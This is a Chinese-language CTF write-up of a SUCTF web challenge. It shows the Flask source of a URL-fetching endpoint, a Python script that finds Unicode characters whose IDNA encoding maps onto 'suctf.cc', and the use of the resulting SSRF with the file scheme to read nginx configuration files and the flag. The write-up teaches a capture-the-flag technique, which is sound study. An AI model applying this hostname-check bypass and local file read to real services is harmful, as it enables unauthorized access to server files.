import urllib
from urllib import parse
from urllib.parse import urlsplit, urlunsplit
from flask import *
app = Flask(__name__)
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
if __name__ == '__main__':
app.run(debug=True)
题目给出源码,自己补充代码运行测试
python下的urllib分为
- urllib.request - 打开和读取 URL。
- urllib.error - 包含 urllib.request 抛出的异常。
- urllib.parse - 解析 URL。
- urllib.robotparser - 解析 robots.txt 文件。
题目所用到的urllib.parse.urlparse将url按照协议,主机,路径,参数,查询,判断分离,输入http://suctf.cc/jkl

urllib.parse.urlsplit和urllib.parse.urlparse效果一样

该题前两次判断输入的url地址的主机是否为suctf.cc后主机名经过idna编码后经utf-8解码再次判断是否等于suctf.cc,构造脚本查找可用字符
my_dic=[]
match_str='suctf.cc'
for i in range(0,65537):
tmp=chr(i)
try:
res = tmp.encode('idna').decode('utf-8')
if("-") in res:
continue
str={"U":tmp,"A":res,"ascii":i}
my_dic.append(str)
except:
pass
for x in match_str:
for y in my_dic:
if y['A']==x:
print(y)
可以看到许多代替字符,用这些代替主机中的字符即可绕过

最后的 urllib.request.urlopen(finalUrl).read()打开我们所指定的网页内容,明显ssrf,用file协议读nginx下的配置文件
Nginx 重要文件目录
- 配置文件存放目录:/etc/nginx
- 主要配置文件:/etc/nginx/conf/nginx.conf
- 管理脚本:/usr/lib64/systemd/system/nginx.service
- 模块:/usr/lisb64/nginx/modules
- 应用程序:/usr/sbin/nginx
- 程序默认存放位置:/usr/share/nginx/html
- 日志默认存放位置:/var/log/nginx
- Nginx配置文件:/usr/local/nginx/conf/nginx.conf
读/etc/nginx/conf/nginx.conf可见flag名称再读flag
Comments NOTHING